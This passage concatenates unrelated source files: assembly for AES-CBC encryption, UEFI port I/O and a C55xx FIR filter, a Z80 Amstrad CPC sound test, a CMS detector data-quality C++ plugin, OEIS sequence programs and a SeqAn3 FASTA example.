text) ; arg 5: LEN: length in bytes (multiple of 16) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; %ifidn __OUTPUT_FORMAT__, elf64 %define IN0 rdi %define IN rdi %define IV rsi %define KEYS rdx %define OUT rcx %define LEN r8 %define KEYS0 rdx %define OUT0 rcx %define func(x) x: %define FUNC_SAVE %define FUNC_RESTORE %endif %ifidn __OUTPUT_FORMAT__, win64 %define IN0 rcx %define IN rcx %define IV rdx %define KEYS0 r8 %define OUT0 r9 %define KEYS r8 %define OUT r9 %define LEN r10 %define PS 8 %define stack_size 10*16 + 1*8 ; must be an odd multiple of 8 %define arg(x) [rsp + stack_size + PS + PS*x] %define func(x) proc_frame x %macro FUNC_SAVE 0 alloc_stack stack_size save_xmm128 xmm6, 0*16 save_xmm128 xmm7, 1*16 save_xmm128 xmm8, 2*16 save_xmm128 xmm9, 3*16 save_xmm128 xmm10, 4*16 save_xmm128 xmm11, 5*16 save_xmm128 xmm12, 6*16 save_xmm128 xmm13, 7*16 save_xmm128 xmm14, 8*16 save_xmm128 xmm15, 9*16 end_prolog mov LEN, arg(4) %endmacro %macro FUNC_RESTORE 0 movdqa xmm6, [rsp + 0*16] movdqa xmm7, [rsp + 1*16] movdqa xmm8, [rsp + 2*16] movdqa xmm9, [rsp + 3*16] movdqa xmm10, [rsp + 4*16] movdqa xmm11, [rsp + 5*16] movdqa xmm12, [rsp + 6*16] movdqa xmm13, [rsp + 7*16] movdqa xmm14, [rsp + 8*16] movdqa xmm15, [rsp + 9*16] add rsp, stack_size %endmacro %endif %define KEY_ROUNDS 13 %define XMM_USAGE (16) %DEFINE UNROLLED_LOOPS (3) %define PARALLEL_BLOCKS (UNROLLED_LOOPS) ; instruction set specific operation definitions %define MOVDQ movdqu %define PXOR pxor %define AES_ENC aesenc %define AES_ENC_LAST aesenclast %include "cbc_common.asm" mk_global aes_cbc_enc_192_x4, function func(aes_cbc_enc_192_x4) endbranch FUNC_SAVE mov IDX, 0 FILL_KEY_CACHE CKEY_CNT, FIRST_CKEY, KEYS, MOVDQ CBC_ENC_INIT FIRST_XDATA, TMP, MOVDQ, PXOR, IV, IN, IDX main_loop: CBC_ENC_SUBLOOP KEY_ROUNDS, UNROLLED_LOOPS, FIRST_XDATA, MOVDQ, PXOR, AES_ENC, AES_ENC_LAST, TMP, TMP_CNT, FIRST_CKEY, CKEY_CNT, KEYS, CACHED_KEYS, IN, OUT, IDX, LEN jne main_loop done: FUNC_RESTORE ret endproc_frame
;; (c) Copyright Kevin Thacker 2015-2016 ;; This code is part of the Arnold emulator distribution. ;; This code is free to distribute without modification ;; this copyright header must be retained. org &8000 km_wait_char equ &bb06 txt_output equ &bb5a scr_set_mode equ &bc0e ;; set colour with bit 5 set start: ld a,2 call scr_set_mode ld hl,message call display_msg call km_wait_char ;; set to mode 1, clear screen and reset CRTC base ld a,2 call scr_set_mode ld hl,message_tw_moff call display_msg di ld bc,&f700+%10000010 out (c),c ;; produces sound on my cpc with type 1 and type 4 ld h,&20 ;; tape write ld l,&0 ld de,5000 ld b,&f6 ppi_aud1: out (c),h call delay out (c),l call delay dec de ld a,d or e jr nz,ppi_aud1 ei ld hl,message_tw_mon call display_msg di ld bc,&f700+%10000010 out (c),c ;; produces sound on my cpc with type 1 ;; on type 4 with cassette in this is louder than normal tape write ld h,&30 ;; tape motor and tape write ld l,&0 ld de,5000 ld b,&f6 ppi_aud2: out (c),h call delay out (c),l call delay dec de ld a,d or e jr nz,ppi_aud2 ei ld hl,message_tr_moff call display_msg di ld bc,&f700+%1000000 out (c),c ld bc,&f600 out (c),c ld h,&80 ld l,&0 ld de,5000 ld b,&f5 ppi_aud3: out (c),h call delay out (c),l call delay dec de ld a,d or e jr nz,ppi_aud3 ei ld hl,message_tr_mon call display_msg di ;; tape read and motor ld bc,&f700+%1000000 out (c),c ld bc,&f610 out (c),c ld h,&80 ld l,&0 ld de,5000 ld b,&f5 ppi_aud4: out (c),h call delay out (c),l call delay dec de ld a,d or e jr nz,ppi_aud4 ei ld hl,tests_done call display_msg call &bb06 rst 0 delay: defs 128 ret message_tw_moff: defb "Tape write - motor off - Sound",13,10,0 message_tw_mon: defb "Tape write - motor on - Sound (louder on Cost down)",13,10,0 message_tr_moff: defb "Tape read - motor off - No sound",13,10,0 message_tr_mon: defb "Tape read - motor on - No sound",13,10,0 tests_done: defb "Tests complete",0 display_msg: ld a,(hl) or a ret z inc hl call txt_output jr display_msg message: defb "This is an audible test.",13,10,13,10 defb "This test produces sound using the PPI.",13,10,13,10 defb "This test only runs on CPC and can only be heard through",13,10 defb "the speaker.",13,10,13,10 defb "The speaker volume needs to be turned up to hear it.",13,10,13,10 defb "Press a key to start",0 end start
// -*- C++ -*- // // Package: DQM/SiStripMonitorHardware // Class: SiStripFEDCheckPlugin // /**\class SiStripFEDCheckPlugin SiStripFEDCheck.cc DQM/SiStripMonitorHardware/plugins/SiStripFEDCheck.cc Description: DQM source application to produce data integrety histograms for SiStrip data for use in HLT and Prompt reco */ // // Original Author: Nicholas Cripps // Created: 2008/09/16 // // #include <memory> #include "FWCore/Utilities/interface/EDGetToken.h" #include "FWCore/Framework/interface/Frameworkfwd.h" #include "FWCore/Framework/interface/EDAnalyzer.h" #include "FWCore/Framework/interface/Event.h" #include "FWCore/Framework/interface/EventSetup.h" #include "FWCore/Framework/interface/ESHandle.h" #include "FWCore/ParameterSet/interface/ParameterSet.h" #include "FWCore/ParameterSet/interface/ParameterSetDescription.h" #include "FWCore/ParameterSet/interface/ConfigurationDescriptions.h" #include "FWCore/Utilities/interface/InputTag.h" #include "FWCore/Utilities/interface/Exception.h" #include "FWCore/MessageLogger/interface/MessageLogger.h" #include "FWCore/ServiceRegistry/interface/Service.h" #include "DataFormats/FEDRawData/interface/FEDRawDataCollection.h" #include "DataFormats/FEDRawData/interface/FEDRawData.h" #include "DataFormats/FEDRawData/interface/FEDNumbering.h" #include "DataFormats/SiStripCommon/interface/ConstantsForHardwareSystems.h" #include "DataFormats/TrackerCommon/interface/TrackerTopology.h" #include "Geometry/Records/interface/TrackerTopologyRcd.h" #include "CondFormats/DataRecord/interface/SiStripFedCablingRcd.h" #include "CondFormats/SiStripObjects/interface/SiStripFedCabling.h" #include "DQMServices/Core/interface/DQMStore.h" #include "DQMServices/Core/interface/MonitorElement.h" #include "EventFilter/SiStripRawToDigi/interface/SiStripFEDBuffer.h" #include "DQM/SiStripMonitorHardware/interface/FEDErrors.hh" #include <DQMServices/Core/interface/DQMEDAnalyzer.h> // // Class declaration // class SiStripFEDCheckPlugin : public DQMEDAnalyzer { public: explicit SiStripFEDCheckPlugin(const edm::ParameterSet&); ~SiStripFEDCheckPlugin() override; static void fillDescriptions(edm::ConfigurationDescriptions& descriptions); private: void analyze(const edm::Event&, const edm::EventSetup&) override; void endRun(edm::Run const&, edm::EventSetup const&) override; void bookHistograms(DQMStore::IBooker&, edm::Run const&, edm::EventSetup const&) override; bool hasFatalError(const FEDRawData& fedData, unsigned int fedId) const; bool hasNonFatalError(const FEDRawData& fedData, unsigned int fedId) const; void updateCabling(const edm::EventSetup& eventSetup); inline void fillPresent(unsigned int fedId, bool present); inline void fillFatalError(unsigned int fedId, bool fatalError); inline void fillNonFatalError(unsigned int fedId, float nonFatalError); void doUpdateIfNeeded(); void updateHistograms(); edm::InputTag rawDataTag_; edm::EDGetTokenT<FEDRawDataCollection> rawDataToken_; std::string dirName_; bool printDebug_; //Histograms bool doPLOTfedsPresent_, doPLOTfedFatalErrors_, doPLOTfedNonFatalErrors_; bool doPLOTnFEDinVsLS_, doPLOTnFEDinWdataVsLS_; MonitorElement* fedsPresent_; MonitorElement* fedFatalErrors_; MonitorElement* fedNonFatalErrors_; MonitorElement* nFEDinVsLS_; MonitorElement* nFEDinWdataVsLS_; //For histogram cache unsigned int updateFrequency_; //Update histograms with cached values every n events. If zero then fill normally every event //cache values std::vector<unsigned int> fedsPresentBinContents_; std::vector<unsigned int> fedFatalErrorBinContents_; std::vector<unsigned int> fedNonFatalErrorBinContents_; unsigned int eventCount_; //incremented by doUpdateIfNeeded() //Fine grained control of tests bool doPayloadChecks_, checkChannelLengths_, checkPacketCodes_, checkFELengths_, checkChannelStatusBits_, verbose_; //Cabling uint32_t cablingCacheId_; const SiStripFedCabling* cabling_; unsigned int siStripFedIdMin_; unsigned int siStripFedIdMax_; edm::ParameterSet conf_; }; // // Constructors and destructor // SiStripFEDCheckPlugin::SiStripFEDCheckPlugin(const edm::ParameterSet& iConfig) : rawDataTag_(iConfig.getParameter<edm::InputTag>("RawDataTag")), dirName_(iConfig.getUntrackedParameter<std::string>("DirName", "SiStrip/FEDIntegrity/")), printDebug_(iConfig.getUntrackedParameter<bool>("PrintDebugMessages", false)), doPLOTfedsPresent_(iConfig.getParameter<bool>("doPLOTfedsPresent")), doPLOTfedFatalErrors_(iConfig.getParameter<bool>("doPLOTfedFatalErrors")), doPLOTfedNonFatalErrors_(iConfig.getParameter<bool>("doPLOTfedNonFatalErrors")), doPLOTnFEDinVsLS_(iConfig.getParameter<bool>("doPLOTnFEDinVsLS")), doPLOTnFEDinWdataVsLS_(iConfig.getParameter<bool>("doPLOTnFEDinWdataVsLS")), fedsPresent_(nullptr), fedFatalErrors_(nullptr), fedNonFatalErrors_(nullptr), nFEDinVsLS_(nullptr), nFEDinWdataVsLS_(nullptr), updateFrequency_(iConfig.getUntrackedParameter<unsigned int>("HistogramUpdateFrequency", 0)), fedsPresentBinContents_(FEDNumbering::MAXSiStripFEDID + 1, 0), fedFatalErrorBinContents_(FEDNumbering::MAXSiStripFEDID + 1, 0), fedNonFatalErrorBinContents_(FEDNumbering::MAXSiStripFEDID + 1, 0), eventCount_(0), doPayloadChecks_(iConfig.getUntrackedParameter<bool>("DoPayloadChecks", true)), checkChannelLengths_(iConfig.getUntrackedParameter<bool>("CheckChannelLengths", true)), checkPacketCodes_(iConfig.getUntrackedParameter<bool>("CheckChannelPacketCodes", true)), checkFELengths_(iConfig.getUntrackedParameter<bool>("CheckFELengths", true)), checkChannelStatusBits_(iConfig.getUntrackedParameter<bool>("CheckChannelStatus", true)), verbose_(iConfig.getUntrackedParameter<bool>("verbose", false)), cablingCacheId_(0) { rawDataToken_ = consumes<FEDRawDataCollection>(rawDataTag_); if (printDebug_ && !doPayloadChecks_ && (checkChannelLengths_ || checkPacketCodes_ || checkFELengths_)) { std::stringstream ss; ss << "Payload checks are disabled but individual payload checks have been enabled. The following payload checks " "will be skipped: "; if (checkChannelLengths_) ss << "Channel length check, "; if (checkPacketCodes_) ss << "Channel packet code check, "; if (checkChannelStatusBits_) ss << "Cabled channel status bits checks, "; if (checkFELengths_) ss << "FE Unit legnth check"; edm::LogWarning("SiStripFEDCheck") << ss.str(); } siStripFedIdMin_ = FEDNumbering::MINSiStripFEDID; siStripFedIdMax_ = FEDNumbering::MAXSiStripFEDID; conf_ = iConfig; } SiStripFEDCheckPlugin::~SiStripFEDCheckPlugin() {} // // Member functions // // ------------ method called to for each event ------------ void SiStripFEDCheckPlugin::analyze(const edm::Event& iEvent, const edm::EventSetup& iSetup) { //Retrieve tracker topology from geometry edm::ESHandle<TrackerTopology> tTopoHandle; iSetup.get<TrackerTopologyRcd>().get(tTopoHandle); const TrackerTopology* const tTopo = tTopoHandle.product(); //update cabling updateCabling(iSetup); //get raw data edm::Handle<FEDRawDataCollection> rawDataCollectionHandle; const bool gotData = iEvent.getByToken(rawDataToken_, rawDataCollectionHandle); if (verbose_) std::cout << "[SiStripFEDCheckPlugin::analyze] gotData ? " << (gotData ? "YES" : "NOPE") << std::endl; if (!gotData) { //module is required to silently do nothing when data is not present return; } const FEDRawDataCollection& rawDataCollection = *rawDataCollectionHandle; //FED errors FEDErrors lFedErrors; //loop over siStrip FED IDs size_t nFEDin = 0; size_t nFEDinWdata = 0; for (unsigned int fedId = siStripFedIdMin_; fedId <= siStripFedIdMax_; fedId++) { const FEDRawData& fedData = rawDataCollection.FEDData(fedId); //create an object to fill all errors //third param to false:save time by not initialising anything not used here lFedErrors.initialiseFED(fedId, cabling_, tTopo, false); //check data exists if (!fedData.size() || !fedData.data()) { fillPresent(fedId, false); continue; } if (verbose_) std::cout << "FED " << fedId; if (verbose_) std::cout << " fedData.size(): " << fedData.size(); if (verbose_) std::cout << " fedData.data(): " << fedData.data() << std::endl; if (fedData.size()) nFEDin++; if (fedData.size() && fedData.data()) nFEDinWdata++; //fill buffer present histogram fillPresent(fedId, true); //check for fatal errors //no need for debug output bool hasFatalErrors = false; float rateNonFatal = 0; std::unique_ptr<const sistrip::FEDBuffer> buffer; if (!lFedErrors.fillFatalFEDErrors(fedData, 0)) { hasFatalErrors = true; } else { //need to construct full object to go any further if (doPayloadChecks_ || checkChannelStatusBits_) { buffer.reset(new sistrip::FEDBuffer(fedData.data(), fedData.size(), true)); if (doPayloadChecks_) { bool channelLengthsOK = checkChannelLengths_ ? buffer->checkChannelLengthsMatchBufferLength() : true; bool channelPacketCodesOK = checkPacketCodes_ ? buffer->checkChannelPacketCodes() : true; bool feLengthsOK = checkFELengths_ ? buffer->checkFEUnitLengths() : true; if (!channelLengthsOK || !channelPacketCodesOK || !feLengthsOK) { hasFatalErrors = true; } } if (checkChannelStatusBits_) rateNonFatal = lFedErrors.fillNonFatalFEDErrors(buffer.get(), cabling_); } } if (hasFatalErrors) { fillFatalError(fedId, true); if (printDebug_) { if (!buffer.get()) buffer.reset(new sistrip::FEDBuffer(fedData.data(), fedData.size(), true)); edm::LogInfo("SiStripFEDCheck") << "Fatal error with FED ID " << fedId << ". Check summary: " << std::endl << buffer->checkSummary() << std::endl; std::stringstream ss; buffer->dump(ss); edm::LogInfo("SiStripFEDCheck") << ss.str(); } } else { fillFatalError(fedId, false); //fill non-fatal errors histogram if there were no fatal errors fillNonFatalError(fedId, rateNonFatal); if (printDebug_ && rateNonFatal > 0) { if (!buffer.get()) buffer.reset(new sistrip::FEDBuffer(fedData.data(), fedData.size(), true)); edm::LogInfo("SiStripFEDCheck") << "Non-fatal error with FED ID " << fedId << " for " << rateNonFatal << " of the channels. Check summary: " << std::endl << buffer->checkSummary() << std::endl; std::stringstream ss; buffer->dump(ss); edm::LogInfo("SiStripFEDCheck") << ss.str(); } } } //loop over FED IDs if (verbose_) std::cout << "nFEDin: " << nFEDin << " nFEDinWdata: " << nFEDinWdata << std::endl; if (doPLOTnFEDinVsLS_) nFEDinVsLS_->Fill(static_cast<double>(iEvent.id().luminosityBlock()), nFEDin); if (doPLOTnFEDinWdataVsLS_) nFEDinWdataVsLS_->Fill(static_cast<double>(iEvent.id().luminosityBlock()), nFEDinWdata); //update histograms if needed doUpdateIfNeeded(); } // ------------ method called once each job just before starting event loop ------------ void SiStripFEDCheckPlugin::bookHistograms(DQMStore::IBooker& ibooker, const edm::Run& run, const edm::EventSetup& eSetup) { size_t nFED = siStripFedIdMax_ - siStripFedIdMin_ + 1; double xFEDmin = siStripFedIdMin_ - 0.5; double xFEDmax = siStripFedIdMax_ + 0.5; //get DQM store ibooker.setCurrentFolder(dirName_); //book histograms if (doPLOTfedsPresent_) { fedsPresent_ = ibooker.book1D("FEDEntries", "Number of times FED buffer is present in data", nFED, xFEDmin, xFEDmax); fedsPresent_->setAxisTitle("FED-ID", 1); } if (doPLOTfedFatalErrors_) { fedFatalErrors_ = ibooker.book1D("FEDFatal", "Number of fatal errors in FED buffer", nFED, xFEDmin, xFEDmax); fedFatalErrors_->setAxisTitle("FED-ID", 1); } if (doPLOTfedNonFatalErrors_) { fedNonFatalErrors_ = ibooker.book1D("FEDNonFatal", "Number of non fatal errors in FED buffer", nFED, xFEDmin, xFEDmax); fedNonFatalErrors_->setAxisTitle("FED-ID", 1); } int LSBin = conf_.getParameter<int>("LSBin"); double LSMin = conf_.getParameter<double>("LSMin"); double LSMax = conf_.getParameter<double>("LSMax"); if (doPLOTnFEDinVsLS_) { nFEDinVsLS_ = ibooker.bookProfile("nFEDinVsLS", "number of FED in Vs LS", LSBin, LSMin, LSMax, nFED, xFEDmin, xFEDmax); nFEDinVsLS_->setAxisTitle("LS", 1); nFEDinVsLS_->setAxisTitle("FED-ID", 2); } if (doPLOTnFEDinWdataVsLS_) { nFEDinWdataVsLS_ = ibooker.bookProfile( "nFEDinWdataVsLS", "number of FED in (with data) Vs LS", LSBin, LSMin, LSMax, nFED, xFEDmin, xFEDmax); nFEDinWdataVsLS_->setAxisTitle("LS", 1); nFEDinWdataVsLS_->setAxisTitle("FED-ID", 2); } } // ------------ method called once each run just after ending the event loop ------------ void SiStripFEDCheckPlugin::endRun(edm::Run const&, edm::EventSetup const&) { updateHistograms(); } void SiStripFEDCheckPlugin::updateCabling(const edm::EventSetup& eventSetup) { uint32_t currentCacheId = eventSetup.get<SiStripFedCablingRcd>().cacheIdentifier(); if (cablingCacheId_ != currentCacheId) { edm::ESHandle<SiStripFedCabling> cablingHandle; eventSetup.get<SiStripFedCablingRcd>().get(cablingHandle); cabling_ = cablingHandle.product(); cablingCacheId_ = currentCacheId; } } void SiStripFEDCheckPlugin::fillPresent(unsigned int fedId, bool present) { if (present) { if (updateFrequency_) fedsPresentBinContents_[fedId]++; else if (doPLOTfedsPresent_) fedsPresent_->Fill(fedId); } } void SiStripFEDCheckPlugin::fillFatalError(unsigned int fedId, bool fatalError) { if (updateFrequency_) { if (fatalError) fedFatalErrorBinContents_[fedId]++; } else { //fedFatalErrors_->Fill( fatalError ? 1 : 0 ); if (fatalError) if (doPLOTfedFatalErrors_) fedFatalErrors_->Fill(fedId); } } void SiStripFEDCheckPlugin::fillNonFatalError(unsigned int fedId, float nonFatalError) { if (updateFrequency_) { if (nonFatalError > 0) fedNonFatalErrorBinContents_[fedId]++; //nonFatalError; } else { if (nonFatalError > 0) if (doPLOTfedNonFatalErrors_) fedNonFatalErrors_->Fill(fedId); } } void SiStripFEDCheckPlugin::doUpdateIfNeeded() { eventCount_++; if (updateFrequency_ && (eventCount_ % updateFrequency_ == 0)) { updateHistograms(); } } void SiStripFEDCheckPlugin::updateHistograms() { //if the cache is not being used then do nothing if (!updateFrequency_) return; unsigned int entriesFedsPresent = 0; unsigned int entriesFatalErrors = 0; unsigned int entriesNonFatalErrors = 0; for (unsigned int fedId = siStripFedIdMin_, bin = 1; fedId < siStripFedIdMax_ + 1; fedId++, bin++) { unsigned int fedsPresentBin = fedsPresentBinContents_[fedId]; if (doPLOTfedsPresent_) fedsPresent_->getTH1()->SetBinContent(bin, fedsPresentBin); entriesFedsPresent += fedsPresentBin; unsigned int fedFatalErrorsBin = fedFatalErrorBinContents_[fedId]; if (doPLOTfedFatalErrors_) fedFatalErrors_->getTH1()->SetBinContent(bin, fedFatalErrorsBin); entriesFatalErrors += fedFatalErrorsBin; unsigned int fedNonFatalErrorsBin = fedNonFatalErrorBinContents_[fedId]; if (doPLOTfedNonFatalErrors_) fedNonFatalErrors_->getTH1()->SetBinContent(bin, fedNonFatalErrorsBin); entriesNonFatalErrors += fedNonFatalErrorsBin; } if (doPLOTfedsPresent_) fedsPresent_->getTH1()->SetEntries(entriesFedsPresent); if (doPLOTfedFatalErrors_) fedFatalErrors_->getTH1()->SetEntries(entriesFatalErrors); if (doPLOTfedNonFatalErrors_) fedNonFatalErrors_->getTH1()->SetEntries(entriesNonFatalErrors); } void SiStripFEDCheckPlugin::fillDescriptions(edm::ConfigurationDescriptions& descriptions) { edm::ParameterSetDescription desc; // Directory to book histograms in desc.addUntracked<std::string>("DirName", "SiStrip/FEDIntegrity/"); // Raw data collection desc.add<edm::InputTag>("RawDataTag", edm::InputTag("source")); // Number of events to cache info before updating histograms // (set to zero to disable cache) // HistogramUpdateFrequency = cms.untracked.uint32(0), desc.addUntracked<unsigned int>("HistogramUpdateFrequency", 1000); // Print info about errors buffer dumps to LogInfo(SiStripFEDCheck) desc.addUntracked<bool>("PrintDebugMessages", false); desc.add<bool>("doPLOTfedsPresent", true); desc.add<bool>("doPLOTfedFatalErrors", true); desc.add<bool>("doPLOTfedNonFatalErrors", true); desc.add<bool>("doPLOTnFEDinVsLS", false); desc.add<bool>("doPLOTnFEDinWdataVsLS", false); // Write the DQM store to a file (DQMStore.root) at the end of the run desc.addUntracked<bool>("WriteDQMStore", false); // Use to disable all payload (non-fatal) checks desc.addUntracked<bool>("DoPayloadChecks", true); // Use to disable check on channel lengths desc.addUntracked<bool>("CheckChannelLengths", true); // Use to disable check on channel packet codes desc.addUntracked<bool>("CheckChannelPacketCodes", true); // Use to disable check on FE unit lengths in full debug header desc.addUntracked<bool>("CheckFELengths", true); // Use to disable check on channel status bits desc.addUntracked<bool>("CheckChannelStatus", true); desc.add<int>("LSBin", 5000); desc.add<double>("LSMin", 0.5); desc.add<double>("LSMax", 5000.5); descriptions.addDefault(desc); } // // Define as a plug-in // #include "FWCore/Framework/interface/MakerMacros.h" DEFINE_FWK_MODULE(SiStripFEDCheckPlugin);
;------------------------------------------------------------------------------ ; ; Copyright (c) 2006 - 2012, Intel Corporation. All rights reserved.<BR> ; ; This program and the accompanying materials are licensed and made available ; under the terms and conditions of the BSD License which accompanies this ; distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php. ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; ;------------------------------------------------------------------------------ .code ;------------------------------------------------------------------------------ ; VOID ; EFIAPI ; IoReadFifo8 ( ; IN UINTN Port, // rcx ; IN UINTN Size, // rdx ; IN VOID *Buffer // r8 ; ); ;------------------------------------------------------------------------------ IoReadFifo8 PROC cld xchg rcx, rdx xchg rdi, r8 ; rdi: buffer address; r8: save rdi rep insb mov rdi, r8 ; restore rdi ret IoReadFifo8 ENDP ;------------------------------------------------------------------------------ ; VOID ; EFIAPI ; IoReadFifo16 ( ; IN UINTN Port, // rcx ; IN UINTN Size, // rdx ; IN VOID *Buffer // r8 ; ); ;------------------------------------------------------------------------------ IoReadFifo16 PROC cld xchg rcx, rdx xchg rdi, r8 ; rdi: buffer address; r8: save rdi rep insw mov rdi, r8 ; restore rdi ret IoReadFifo16 ENDP ;------------------------------------------------------------------------------ ; VOID ; EFIAPI ; IoReadFifo32 ( ; IN UINTN Port, // rcx ; IN UINTN Size, // rdx ; IN VOID *Buffer // r8 ; ); ;------------------------------------------------------------------------------ IoReadFifo32 PROC cld xchg rcx, rdx xchg rdi, r8 ; rdi: buffer address; r8: save rdi rep insd mov rdi, r8 ; restore rdi ret IoReadFifo32 ENDP ;------------------------------------------------------------------------------ ; VOID ; EFIAPI ; IoWriteFifo8 ( ; IN UINTN Port, // rcx ; IN UINTN Size, // rdx ; IN VOID *Buffer // r8 ; ); ;------------------------------------------------------------------------------ IoWriteFifo8 PROC cld xchg rcx, rdx xchg rsi, r8 ; rsi: buffer address; r8: save rsi rep outsb mov rsi, r8 ; restore rsi ret IoWriteFifo8 ENDP ;------------------------------------------------------------------------------ ; VOID ; EFIAPI ; IoWriteFifo16 ( ; IN UINTN Port, // rcx ; IN UINTN Size, // rdx ; IN VOID *Buffer // r8 ; ); ;------------------------------------------------------------------------------ IoWriteFifo16 PROC cld xchg rcx, rdx xchg rsi, r8 ; rsi: buffer address; r8: save rsi rep outsw mov rsi, r8 ; restore rsi ret IoWriteFifo16 ENDP ;------------------------------------------------------------------------------ ; VOID ; EFIAPI ; IoWriteFifo32 ( ; IN UINTN Port, // rcx ; IN UINTN Size, // rdx ; IN VOID *Buffer // r8 ; ); ;------------------------------------------------------------------------------ IoWriteFifo32 PROC cld xchg rcx, rdx xchg rsi, r8 ; rsi: buffer address; r8: save rsi rep outsd mov rsi, r8 ; restore rsi ret IoWriteFifo32 ENDP END
; A017830: Expansion of 1/(1-x^4-x^5-x^6-x^7-x^8). ; 1,0,0,0,1,1,1,1,2,2,3,4,6,7,9,12,17,22,29,38,51,67,89,118,157,207,274,363,482,638,845,1119,1483,1964,2602,3447,4567,6049,8013,10615,14063,18629,24678,32691,43307,57369,75998,100676,133368,176674,234043,310041,410718,544085,720759,954802,1264844,1675561,2219646,2940405,3895208,5160051,6835612,9055258,11995664,15890871,21050922,27886534,36941793,48937456,64828327,85879249,113765784,150707576,199645032,264473359,350352609,464118392,614825968,814471000,1078944360,1429296968,1893415360,2508241328 mov $2,$0 mov $4,2 lpb $4 mov $0,$2 sub $4,1 add $0,$4 trn $0,1 seq $0,233522 ; Expansion of 1 / (1 - x - x^4 + x^9) in powers of x. mov $3,$0 mov $5,$4 mul $5,$0 add $1,$5 lpe min $2,1 mul $2,$3 sub $1,$2 mov $0,$1
#include <sstream> #include <seqan3/io/record.hpp> #include <seqan3/io/sequence_file/input.hpp> #include <seqan3/io/sequence_file/output.hpp> auto input = R"(> TEST1 ACGT > Test2 AGGCTGA > Test3 GGAGTATAATATATATATATATAT)"; int main() { using seqan3::get; // specify custom field combination/order to file: seqan3::sequence_file_input fin{std::istringstream{input}, seqan3::format_fasta{}, seqan3::fields<seqan3::field::id, seqan3::field::seq>{}}; auto record = fin.front(); // get current record, in this case the first // record is tuple-like type, but allows access via field identifiers: auto & id = get<seqan3::field::id>(record); auto & seq = get<seqan3::field::seq>(record); }
; A213782: Principal diagonal of the convolution array A213781. ; 1,7,19,41,72,118,176,254,347,465,601,767,954,1176,1422,1708,2021,2379,2767,3205,3676,4202,4764,5386,6047,6773,7541,8379,9262,10220,11226,12312,13449,14671,15947,17313,18736,20254,21832,23510,25251,27097,29009,31031,33122,35328,37606,40004,42477,45075,47751,50557,53444,56466,59572,62818,66151,69629,73197,76915,80726,84692,88754,92976,97297,101783,106371,111129,115992,121030,126176,131502,136939,142561,148297,154223,160266,166504,172862,179420,186101,192987,199999,207221,214572,222138,229836 mov $2,$0 add $2,1 mov $5,$0 lpb $2 mov $0,$5 sub $2,1 sub $0,$2 mov $6,$0 add $6,1 mov $13,$0 mov $14,0 lpb $6 mov $0,$13 sub $6,1 sub $0,$6 mov $9,$0 mov $11,2 lpb $11 mov $0,$9 sub $11,1 add $0,$11 mov $7,$0 sub $0,1 mov $3,$0 mov $8,$0 lpb $0 add $4,1 sub $0,$4 trn $0,1 gcd $7,2 add $7,$3 add $7,2 trn $3,$7 add $3,4 sub $7,2 add $7,$8 add $7,$3 mul $8,$7 lpe mov $3,$8 mov $12,$11 lpb $12 mov $10,$3 sub $12,1 lpe lpe lpb $9 mov $9,0 sub $10,$3 lpe mov $3,$10 div $3,2 add $3,1 add $14,$3 lpe add $1,$14 lpe mov $0,$1
;;; sub shifted register ;;; sf 1 0 0 | 1 0 1 1 | shift2 0 ;;; where sf = 1 __0xc1_sub: ret
; A016818: (4n+1)^6. ; 1,15625,531441,4826809,24137569,85766121,244140625,594823321,1291467969,2565726409,4750104241,8303765625,13841287201,22164361129,34296447249,51520374361,75418890625,107918163081 mul $0,4 add $0,1 pow $0,6
;*********************************************************** ; Version 2.40.00 ;*********************************************************** ; Function: fir2 ; Processor: C55xx ; Description: Implements finite impulse response filter using ; dual-MAC approach. C-callable. ; ; Useage: ushort oflag = firs(DATA *x, ; DATA *h, ; DATA *r, ; DATA *dbuffer, ; ushort nx, ; ushort nh) ; ; Copyright Texas instruments Inc, 2000 ; History: ; 2.10 Rishi 08/03/2001 - optimized the code for benchmark. ;**************************************************************** .ARMS_off ;enable assembler for ARMS=0 .CPL_on ;enable assembler for CPL=1 .mmregs ;enable mem mapped register names ; Stack frame ; ----------- RET_ADDR_SZ .set 1 ;return address REG_SAVE_SZ .set 0 ;save-on-entry registers saved FRAME_SZ .set 0 ;local variables ARG_BLK_SZ .set 0 ;argument block PARAM_OFFSET .set ARG_BLK_SZ + FRAME_SZ + REG_SAVE_SZ + RET_ADDR_SZ ; Register usage ; -------------- .asg AR0, x_ptr ;linear pointer .asg AR1, db_ptr1 ;circular pointer .asg AR2, r_ptr ;linear pointer .asg AR3, db_ptr2 ;circular pointer .asg CDP, h_ptr ;circular pointer .asg BSA01, db_base1 ;base addr for db_ptr1 .asg XAR1, xdb_base1 ;extended base addr for db_ptr1 .asg BSA23, db_base2 ;base addr for db_ptr2 .asg BK03, db_sz ;circ buffer size for db_ptr1 and db_ptr2 .asg BK03_L, db_sz_L ;for memory mapped access .asg BSAC, h_base ;base addr for h_ptr .asg XCDP, xh_base ;extended base addr for h_ptr .asg BKC, h_sz ;circ buffer size for h_sz .asg CSR, inner_cnt ;inner loop count .asg BRC0, outer_cnt ;outer loop count .asg T0, oflag ;returned value ST2mask .set 0000000100001010b ;circular/linear pointers .global _fir2 .text _fir2: ; ; Allocate the local frame and argument block ;---------------------------------------------------------------- ; SP = SP - #(ARG_BLK_SZ + FRAME_SZ + REG_SAVE_SZ) ; - not necessary for this function (the above is zero) ; ; Save any save-on-entry registers that are used ;---------------------------------------------------------------- ; - nothing to save for this function ; ; Configure the status registers as needed. ;---------------------------------------------------------------- AND #001FFh, mmap(ST0_55) ;clear all ACOVx,TC1, TC2, C OR #04140h, mmap(ST1_55) ;set CPL, SXMD, FRCT AND #0F9DFh, mmap(ST1_55) ;clear M40, SATD, 54CM AND #07A00h, mmap(ST2_55) ;clear ARMS, RDM, CDPLC, AR[0-7]LC AND #0FFDDh, mmap(ST3_55) ;clear SATA, SMUL ; ; Setup passed parameters in their destination registers ; Setup circular/linear CDP/ARx behavior ;---------------------------------------------------------------- ; x pointer - passed in its destination register, need do nothing ; h pointer MOV XAR1, xh_base ;extended base address for h_ptr MOV #0, h_ptr ;point to first coefficient MOV mmap(AR1), h_base ;base address of coefficients MOV mmap(T1), h_sz ;coefficient array size ; r pointer - passed in its destination register, need do nothing ; db pointers, part 1 - must come before circ/linear 